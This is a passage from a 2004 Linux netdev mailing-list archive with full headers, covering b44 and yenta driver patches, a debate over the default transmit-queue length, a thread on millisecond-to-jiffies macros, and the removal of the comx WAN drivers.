*/ @@ -1337,7 +1338,7 @@ return nstat; } -static void __b44_load_mcast(struct b44 *bp, struct net_device *dev) +static int __b44_load_mcast(struct b44 *bp, struct net_device *dev) { struct dev_mc_list *mclist; int i, num_ents; @@ -1347,12 +1348,15 @@ for (i = 0; mclist && i < num_ents; i++, mclist = mclist->next) { __b44_cam_write(bp, mclist->dmi_addr, i + 1); } + return i+1; } static void __b44_set_rx_mode(struct net_device *dev) { struct b44 *bp = dev->priv; u32 val; + int i=0; + unsigned char zero[6] = {0,0,0,0,0,0}; val = br32(B44_RXCONFIG); val &= ~(RXCONFIG_PROMISC | RXCONFIG_ALLMULTI); @@ -1365,8 +1369,11 @@ if (dev->flags & IFF_ALLMULTI) val |= RXCONFIG_ALLMULTI; else - __b44_load_mcast(bp, dev); - + i=__b44_load_mcast(bp, dev); + + for(;i<64;i++) { + __b44_cam_write(bp, zero, i); + } bw32(B44_RXCONFIG, val); val = br32(B44_CAM_CTRL); bw32(B44_CAM_CTRL, val | CAM_CTRL_ENABLE); From marc.herbert@free.fr Sat May 15 05:55:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 05:55:09 -0700 (PDT) Received: from postfix4-2.free.fr (postfix4-2.free.fr [213.228.0.176]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FCssKO011498 for ; Sat, 15 May 2004 05:54:55 -0700 Received: from mutualite-3-82-67-66-29.fbx.proxad.net (mutualite-3-82-67-66-29.fbx.proxad.net [82.67.66.29]) by postfix4-2.free.fr (Postfix) with ESMTP id F1FE4A13A6 for ; Sat, 15 May 2004 14:14:02 +0200 (CEST) Date: Sat, 15 May 2004 14:14:26 +0200 (CEST) From: Marc Herbert X-X-Sender: mherbert@fcat To: netdev@oss.sgi.com Subject: TxDescriptors -> 1024 default. Please not for every NIC! In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4FCssKO011498 X-archive-position: 5153 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marc.herbert@free.fr Precedence: bulk X-list: netdev On Sun, 14 Sep 2003, Ricardo C Gonzalez wrote: > David Miller wrote: > > >Back to the main topic, maybe we should set dev->tx_queue_len to > >1000 by default for all ethernet devices. > > > I definately agree with setting the dev->tx_queue_len to 1000 as a default > for all ethernet adapters. All adapters will benefit from this change. > Sorry to exhume this discussion but I only recently discovered this change, the hard way. I carefully read this old thread and did not grasp _every_ detail, but there is one thing that I am sure of: 1000 packets @ 1 Gb/s looks good, but on the other hand, 1000 full-size Ethernet packets @ 10 Mb/s are about 1.2 seconds long! Too little buffering means not enough dampering effect, which is very important for performance in asynchronous systems, granted. However, _too much_ buffering means too big and too variable latencies. When discussing buffers, duration is very often more important than size. Applications, TCP's dynamic (and kernel dynamics too?) do not care much about buffer sizes, they more often care about latencies (and throughput, of course). Buffers sizes is often "just a small matter of implementation" :-) For instance people designing routers talk about buffers in _milliseconds_ much more often than in _bytes_ (despite the fact that their memories cost more than in hosts, considering the throughputs involved). 100 packets @ 100 Mb/s was 12 ms. 1000 packets @ 1 Gb/s is still 12 ms. 12 ms is great. It's a "good" latency because it is the order of magnitude of real-world constants like: comfortable interactive applications, operating system sheduler granularity or propagation time in 2000 km of cable. But 1000 packets @ 100 Mb/s is 120 ms and is neither very good nor very useful anymore. 1000 packets @ 10 Mb/s is 1.2 s, which is ridiculous. It does mean that, when joe user is uploading some big file through his cheap Ethernet card, and that there are no other bottleneck/drops further in the network, every concurrent application will have to wait 1.2 s before accessing the network! It this hard to believe for you, just make the test yourself, it's very easy: force one of you NICs to 10Mb/s full duplex, txqueuelen 1000 and send a continuous flow to a nearby machine. Then try to ping anything. Imagine now that some packet is lost for whatever reason on some _other_ TCP connection going through this terrible 1.2 s queue. Then you need one SACK/RTX extra round trip time to recover from it: so it's now _2.4 s_ to deliver the data sent just after the dropped packet... Assuming of course TCP timers do not become confused by this huge latency and probably huge jitter. And I don't think you want to make fiddling with "tc" mandatory for joe user. Or tell him: "oh, please just 'ifconfig txqueuelen 10', or buy a new Ethernet card". I am unfortunately not familiar with this part of the linux kernel, but I really think that, if possible, txqueuelen should be initialized at some "constant 12 ms" and not at the "1000 packets" highly variable latency setting. I can imagine there are some corner cases, like for instance when some GEth NIC is hot-plugged into a 100 Mb/s, or jumbo frames, but hey, those are corner cases : as a first step, even a simple constant-per-model txqueuelen initialization would be already great. Cheers, Marc. PS: one workaround for joe user against this 1.2s latency would be to keep his SND_BUF and number of sockets small. But this is poor. -- "Je n'ai fait cette lettre-ci plus longue que parce que je n'ai pas eu le loisir de la faire plus courte." -- Blaise Pascal From jgarzik@pobox.com Sat May 15 06:19:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 06:19:15 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FDJ1KO012177 for ; Sat, 15 May 2004 06:19:02 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BO0az-0006wU-W6; Wed, 12 May 2004 21:44:54 +0100 Message-ID: <40A28CB9.1040908@pobox.com> Date: Wed, 12 May 2004 16:44:41 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton CC: mingo@elte.hu, davidel@xmailserver.org, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> <40A28815.2020009@pobox.com> <20040512133520.44fbfd39.akpm@osdl.org> In-Reply-To: <20040512133520.44fbfd39.akpm@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5154 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Andrew Morton wrote: > Jeff Garzik wrote: > >>>How about we do: >> >> > >> > #if HZ=1000 >> > #define MSEC_TO_JIFFIES(msec) (msec) >> > #define JIFFIES_TO_MESC(jiffies) (jiffies) >> > #elif HZ=100 >> > #define MSEC_TO_JIFFIES(msec) (msec * 10) >> > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) >> > #else >> > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) >> > #define JIFFIES_TO_MSEC(jiffies) ... >> > #endif >> > >> > in some kernel-wide header then kill off all the private implementations? >> >> >> include/linux/time.h. One of the SCTP people already did this, but I >> suppose it's straightforward to reproduce. > > > OK, I'll do it. Thanks. 'grep -i msec.*jif' and 'grep -i jif.*msec' should catch most, there are occurences in both upper and lower case. Note that a few oddball drivers include an addition to the kernel-wide 'jiffies' variable, rather than just doing a calculation scaling against HZ. Jeff From miroslav.zubcic@zesoi.fer.hr Sat May 15 11:15:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 11:15:50 -0700 (PDT) Received: from mxout2.iskon.hr (qmailr@mxout2.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FIFjKO019701 for ; Sat, 15 May 2004 11:15:46 -0700 Received: (qmail 21349 invoked from network); 15 May 2004 20:09:04 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 15 May 2004 20:09:04 +0200 Received: (qmail 5088 invoked from network); 15 May 2004 20:09:04 +0200 X-Remote-IP: 213.202.124.154 Received: from gepard.hac.hr (HELO mail.home.int) (213.202.124.154) by mx.iskon.hr with SMTP; 15 May 2004 20:09:03 +0200 Received: from anthea.home.int.home.int (current UNIX time is: Sat May 15 20:08:16 2004) (authenticated bits=0) by mail.home.int (Sendmail 8.12.11/8.12.11/The Original Distribution) with ESMTP id i4FI8Fh8016216 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 15 May 2004 20:08:16 +0200 To: Pekka Pietikainen Cc: linux-kernel@vger.kernel.org, pavel@ucw.cz, netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATCH] Re: ethernet/b44: Bug in b44.c:v0.93 (Mar, 2004) ethernet driver in 2.6.6 X-face: GK)@rjKTDPkyI]TBX{!7&/#rT:#yE\QNK}s(-/!'{dG0r^_>?tIjT[x0aj'Q0u>a yv62CGsq'Tb_=>f5p|$~BlO2~A&%<+ry%+o;k'<(2tdowfysFc:?@($aTGX 4fq`u}~4,0;}y/F*5,9;3.5[dv~C,hl4s*`Hk|1dUaTO[pd[x1OrGu_:1%-lJ]W@ Organization: EINPROGRESS X-Operating-System: GNU/Linux 2.6.5 Mail-Copies-To: never References: <20040514130206.GA9583@ee.oulu.fi> <20040515120518.GA9480@ee.oulu.fi> <20040515121112.GA9579@ee.oulu.fi> From: Miroslav Zubcic In-Reply-To: <20040515121112.GA9579@ee.oulu.fi> (Pekka Pietikainen's message of "Sat, 15 May 2004 15:11:12 +0300") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, linux) Date: Sat, 15 May 2004 20:07:50 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) X-archive-position: 5155 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mvz@nimium.com Precedence: bulk X-list: netdev Pekka Pietikainen writes: > On Sat, May 15, 2004 at 03:05:19PM +0300, Pekka Pietikainen wrote: >> + /* Enable CRC32, set proper LED modes and power on MAC */ >> + bw32(B44_MAC_CTRL, MAC_CTRL_CRC32_ENAB | MAC_CTRL_PHY_LEDCTRL); > Erk, that comment should of course be "power on PHY". I hate acronyms... > > --- linux-2.6.5-1.358/drivers/net/b44.c.orig 2004-05-15 13:59:57.000000000 +0300 > +++ linux-2.6.5-1.358/drivers/net/b44.c 2004-05-15 14:59:39.794720368 +0300 > @@ -27,8 +27,8 @@ Pekka, thank you very much for your patch. It looks like things are working now: dmesg part: b44.c:v0.95 (May 15, 2004) ... eth0: Broadcom 4400 10/100BaseT Ethernet 00:08:02:e2:2d:ba ip_tables: (C) 2000-2002 Netfilter core team b44: eth0: Link is down. b44: eth0: Link is up at 100 Mbps, full duplex. b44: eth0: Flow control is off for TX and off for RX. I have tried moving large packets, NFS, ping etc ... no problem anymore, it works. Thanks again! -- The Network is the Filesystem. From jgarzik@pobox.com Sat May 15 11:59:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 11:59:33 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FIxTKO020683 for ; Sat, 15 May 2004 11:59:30 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BP4Nb-0002zV-Pf; Sat, 15 May 2004 19:59:27 +0100 Message-ID: <40A66883.9030102@pobox.com> Date: Sat, 15 May 2004 14:59:15 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pekka Pietikainen CC: Miroslav Zubcic , linux-kernel@vger.kernel.org, pavel@ucw.cz, netdev@oss.sgi.com Subject: Re: [PATCH] Re: ethernet/b44: Bug in b44.c:v0.93 (Mar, 2004) ethernet driver in 2.6.6 References: <20040514130206.GA9583@ee.oulu.fi> <20040515120518.GA9480@ee.oulu.fi> <20040515121112.GA9579@ee.oulu.fi> In-Reply-To: <20040515121112.GA9579@ee.oulu.fi> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5156 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev hrm... I agree with the patch, but it doesn't apply to 2.6.6-bk... can you rediff please? From manfred@colorfullife.com Sat May 15 12:35:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 12:35:56 -0700 (PDT) Received: from dbl.q-ag.de (dbl.q-ag.de [213.172.117.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FJZiKO024797 for ; Sat, 15 May 2004 12:35:50 -0700 Received: from colorfullife.com (dbl [127.0.0.1]) by dbl.q-ag.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i4FJYnNj002220; Sat, 15 May 2004 21:35:00 +0200 Message-ID: <40A670D9.5010409@colorfullife.com> Date: Sat, 15 May 2004 21:34:49 +0200 From: Manfred Spraul User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.4.1) Gecko/20031114 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Alec H. Peterson" CC: linux-kernel@vger.kernel.org, Dominik Brodowski , netdev@oss.sgi.com Subject: Re: PCI memory reservation failure - 2.4/2.6 References: <40A29211.2010707@colorfullife.com> <9C9F57570B19C8A682D96940@[192.168.0.100]> In-Reply-To: <9C9F57570B19C8A682D96940@[192.168.0.100]> Content-Type: multipart/mixed; boundary="------------090502040709030809050103" X-archive-position: 5157 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manfred@colorfullife.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------090502040709030809050103 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Alec H. Peterson wrote: > > A module parameter sounds like a grand idea. I'd be happy to take a > stab at it if others feel it is the way to go. There are two possible approaches: - just a module parameter. Probably something for 2.4. - a combination of a dmi detection of buggy bios versions plus a pci quirk that resets start and end to 0. Attached is the module parameter patch against 2.6. If it works I can write a backport to 2.4 and try to convince Marcelo to merge it. Could you send me the output of dmidecode? I'll try to write the autodetection patch for 2.6. -- Manfred --------------090502040709030809050103 Content-Type: text/plain; name="patch-yenta" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch-yenta" --- 2.6/drivers/pcmcia/yenta_socket.c 2004-05-15 11:21:38.000000000 +0200 +++ build-2.6/drivers/pcmcia/yenta_socket.c 2004-05-15 15:00:22.000000000 +0200 @@ -40,7 +40,7 @@ #define to_ns(cycles) ((cycles)*120) static int yenta_probe_cb_irq(struct yenta_socket *socket); - +static int override_bios; /* * Generate easy-to-use ways of reading a cardbus sockets @@ -548,7 +548,7 @@ start = config_readl(socket, offset) & mask; end = config_readl(socket, offset+4) | ~mask; - if (start && end > start) { + if (start && end > start && !override_bios) { res->start = start; res->end = end; if (request_resource(root, res) == 0) @@ -1105,6 +1105,8 @@ }; MODULE_DEVICE_TABLE(pci, yenta_table); +MODULE_PARM (override_bios, "i"); +MODULE_PARM_DESC (override_bios, "yenta ignore bios resource allocation"); static struct pci_driver yenta_cardbus_driver = { .name = "yenta_cardbus", --------------090502040709030809050103-- From jonmason@us.ibm.com Sat May 15 14:08:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 14:08:04 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FL7sKO026524 for ; Sat, 15 May 2004 14:08:01 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4FL7YBM312328; Sat, 15 May 2004 17:07:34 -0400 Received: from d03nm130.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4FL7Xim202928; Sat, 15 May 2004 15:07:33 -0600 In-Reply-To: <20040515015241.A12010@electric-eye.fr.zoreil.com> To: Francois Romieu Cc: jgarzik@pobox.com, netdev@oss.sgi.com MIME-Version: 1.0 Subject: Re: [patch] 2.6.6-rc3 - r8169 rediff X-Mailer: Lotus Notes Build V651_12042003 December 04, 2003 Message-ID: From: Jon D Mason Date: Sat, 15 May 2004 16:07:30 -0500 X-MIMETrack: Serialize by Router on D03NM130/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 05/15/2004 15:07:33, Serialize complete at 05/15/2004 15:07:33 Content-Type: text/plain; charset="US-ASCII" X-archive-position: 5158 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jonmason@us.ibm.com Precedence: bulk X-list: netdev >Do you have an SMP system where you could try the patch below on top of the >usual stuff ? I tested the latest driver (including the Tx Lock Removal patch) on a 4way 1.2GHz PPC64 system, and it works fine. I'll leaving it running over the weekend to verify that there are no problems, but my 30 minutes worth of tests didn't show any problems at all. FYI, In order to stress the adapter, I ran some quick performance tests (5 and 10 second runs with netperf3). I am getting about 200Mbps throughput. I checked the stock 2.6.5 driver, the latest driver (sans Tx Lock Removal patch), and the latest driver with Tx Lock Removal patch. They all get roughly the same throughput numbers (with the Tx Lock Removal being slightly faster). Thanks, Jon From khc@pm.waw.pl Sat May 15 14:45:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 14:45:58 -0700 (PDT) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FLjhKO027629 for ; Sat, 15 May 2004 14:45:44 -0700 Received: by hq.pm.waw.pl (Postfix, from userid 10) id B919B358; Sat, 15 May 2004 23:45:31 +0200 (CEST) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id 23DA4302D5; Sat, 15 May 2004 23:42:00 +0200 (CEST) To: Jeff Garzik Cc: Christoph Hellwig , netdev@oss.sgi.com, Linux Kernel , Andrew Morton , Pete Popov Subject: Re: [PATCH] remove comx drivers from tree References: <20040507111725.GA11575@lst.de> <40A50292.3070601@pobox.com> From: Krzysztof Halasa Date: Sat, 15 May 2004 23:41:59 +0200 In-Reply-To: <40A50292.3070601@pobox.com> (Jeff Garzik's message of "Fri, 14 May 2004 13:32:02 -0400") Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5159 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev Jeff Garzik writes: > I have applied this to my netdev-2.6 tree, and so it should show up in > -mm sometime. > > drivers/net/wan/Kconfig | 113 - > drivers/net/wan/Makefile | 8 > drivers/net/wan/comx-hw-comx.c | 1449 ------------------- > drivers/net/wan/comx-hw-locomx.c | 495 ------ > drivers/net/wan/comx-hw-mixcom.c | 959 ------------ > drivers/net/wan/comx-hw-munich.c | 2853 > -------------------------------------- > drivers/net/wan/comx-proto-fr.c | 1013 ------------- > drivers/net/wan/comx-proto-lapb.c | 550 ------- > drivers/net/wan/comx-proto-ppp.c | 268 --- > drivers/net/wan/comx.c | 1127 --------------- > drivers/net/wan/comx.h | 231 --- > drivers/net/wan/comxhw.h | 112 - While obviously I don't object (we should list removed things along with kernel version somewhere, though)... I could possibly port the drivers to my generic HDLC code, if someone sends me the hardware in question. Sure, I will never send it back, and it has to have V.35 or V.24 interface, so I can connect it to something. -- Krzysztof Halasa, B*FH From jgarzik@pobox.com Sat May 15 15:46:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 15:46:44 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FMkcKO029052 for ; Sat, 15 May 2004 15:46:41 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BP7vR-00050F-Ob; Sat, 15 May 2004 23:46:37 +0100 Message-ID: <40A69DC0.9060109@pobox.com> Date: Sat, 15 May 2004 18:46:24 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pekka Pietikainen CC: Miroslav Zubcic , linux-kernel@vger.kernel.org, pavel@ucw.cz, netdev@oss.sgi.com Subject: Re: [PATCH] Re: ethernet/b44: Bug in b44.c:v0.93 (Mar, 2004) ethernet driver in 2.6.6 References: <20040514130206.GA9583@ee.oulu.fi> <20040515120518.GA9480@ee.oulu.fi> In-Reply-To: <20040515120518.GA9480@ee.oulu.fi> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5160 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Ignore my last email... I used BK to clone a 2.6.5 tree, then merge to latest. Patch applied. Jeff From jgarzik@pobox.com Sat May 15 15:50:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 15:50:47 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4FMogKO029427 for ; Sat, 15 May 2004 15:50:45 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BP7zO-000528-1c; Sat, 15 May 2004 23:50:42 +0100 Message-ID: <40A69EB6.6020401@pobox.com> Date: Sat, 15 May 2004 18:50:30 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jonathan Corbet CC: netdev@oss.sgi.com Subject: Re: [PATCH] Remove auto_irq.c References: <20040514154449.4360.qmail@lwn.net> In-Reply-To: <20040514154449.4360.qmail@lwn.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5161 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From cw@f00f.org Sat May 15 20:48:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 15 May 2004 20:49:02 -0700 (PDT) Received: from pimout1-ext.prodigy.net (pimout1-ext.prodigy.net [207.115.63.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4G3mxKO007260 for ; Sat, 15 May 2004 20:48:59 -0700 Received: from taniwha.stupidest.org (adsl-68-120-154-124.dsl.snfc21.pacbell.net [68.120.154.124]) by pimout1-ext.prodigy.net (8.12.10 milter /8.12.10) with ESMTP id i4G3mmQ9261148; Sat, 15 May 2004 23:48:48 -0400 Received: by taniwha.stupidest.org (Postfix, from userid 38689) id BF2E914A00; Sat, 15 May 2004 20:48:47 -0700 (PDT) Date: Sat, 15 May 2004 20:48:47 -0700 From: Chris Wedgwood To: Andreas Schwab Cc: "J. Bruce Fields" , Davide Libenzi , Ingo Molnar , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040516034847.GA5774@taniwha.stupidest.org> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512213913.GA16658@fieldses.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-archive-position: 5162 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 11:55:18PM +0200, Andreas Schwab wrote: > Signed integer overflow is undefined in C, so the compiler is > allowed to assume it does not happen. Really? Just because something is undefined assuming it never happens is a bit of a leap of faith IMO. --cw From paul@wagland.net Sun May 16 05:09:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 16 May 2004 05:10:07 -0700 (PDT) Received: from smtp-out5.xs4all.nl (smtp-out5.xs4all.nl [194.109.24.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4GC9lKO027630 for ; Sun, 16 May 2004 05:09:49 -0700 Received: from umlsmtp.wagland.net (kungfucoder.org [80.126.186.202]) by smtp-out5.xs4all.nl (8.12.10/8.12.10) with ESMTP id i4GC9VUY056187; Sun, 16 May 2004 14:09:31 +0200 (CEST) Received: from [10.87.98.190] (unknown [10.87.98.190]) by umlsmtp.wagland.net (Postfix) with ESMTP id 77222DA; Sun, 16 May 2004 14:09:30 +0200 (CEST) In-Reply-To: <20040516034847.GA5774@taniwha.stupidest.org> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512213913.GA16658@fieldses.org> <20040516034847.GA5774@taniwha.stupidest.org> Mime-Version: 1.0 (Apple Message framework v613) Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Apple-Mail-65--971975887" Message-Id: Content-Transfer-Encoding: 7bit Cc: Andrew Morton , Davide Libenzi , Netdev , Jeff Garzik , "J. Bruce Fields" , Andreas Schwab , Linux Kernel Mailing List , Ingo Molnar , Greg KH From: Paul Wagland Subject: Re: MSEC_TO_JIFFIES is messed up... Date: Sun, 16 May 2004 14:10:06 +0200 To: Chris Wedgwood X-Pgp-Agent: GPGMail 1.0.1 (v33, 10.3) X-Mailer: Apple Mail (2.613) X-archive-position: 5163 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: paul@wagland.net Precedence: bulk X-list: netdev --Apple-Mail-65--971975887 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On May 16, 2004, at 5:48, Chris Wedgwood wrote: > On Wed, May 12, 2004 at 11:55:18PM +0200, Andreas Schwab wrote: > >> Signed integer overflow is undefined in C, so the compiler is >> allowed to assume it does not happen. > > Really? > > Just because something is undefined assuming it never happens is a bit > of a leap of faith IMO. More precisely, if something has undefined semantics then the compiler is allowed to do whatever it likes. Normally the compiler will try to do "what's right", but if they have an optimisation opportunity then they will normally take it. In other words by assuming it "doesn't happen" they get to perform an optimisation that they could not do otherwise, and they get to perform "correctly" in an undefined way when the overflow would happen. Cheers, Paul --Apple-Mail-65--971975887 content-type: application/pgp-signature; x-mac-type=70674453; name=PGP.sig content-description: This is a digitally signed message part content-disposition: inline; filename=PGP.sig content-transfer-encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (Darwin) iD8DBQFAp1oftch0EvEFvxURAjQHAKCtnHclFM/KKANPRZzRRzFTe6xp3ACgompl RJos9ShkK+bWPqs/guUZhAY= =fkYG -----END PGP SIGNATURE----- --Apple-Mail-65--971975887-- From ahp@hilander.com Mon May 17 06:49:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 17 May 2004 06:49:40 -0700 (PDT) Received: from ramirez.hilander.com (d61.wireless.hilander.com [216.241.32.61]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4HDnZKO011744 for ; Mon, 17 May 2004 06:49:35 -0700 Received: from [216.241.32.62] (helo=[192.168.0.100]) by ramirez.hilander.com with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.33) id 1BPiUj-0000I2-7c; Mon, 17 May 2004 07:49:30 -0600 Date: Mon, 17 May 2004 07:49:34 -0600 From: "Alec H. Peterson" To: Manfred Spraul cc: linux-kernel@vger.kernel.org, Dominik Brodowski , netdev@oss.sgi.com Subject: Re: PCI memory reservation failure - 2.4/2.6 Message-ID: <20D3F7A6CA3A4C9FF0E47D1A@[192.168.0.100]> In-Reply-To: <40A670D9.5010409@colorfullife.com> References: <40A29211.2010707@colorfullife.com> <9C9F57570B19C8A682D96940@[192.168.0.100]> <40A670D9.5010409@colorfullife.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 5164 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ahp@hilander.com Precedence: bulk X-list: netdev --On Saturday, May 15, 2004 9:34 PM +0200 Manfred 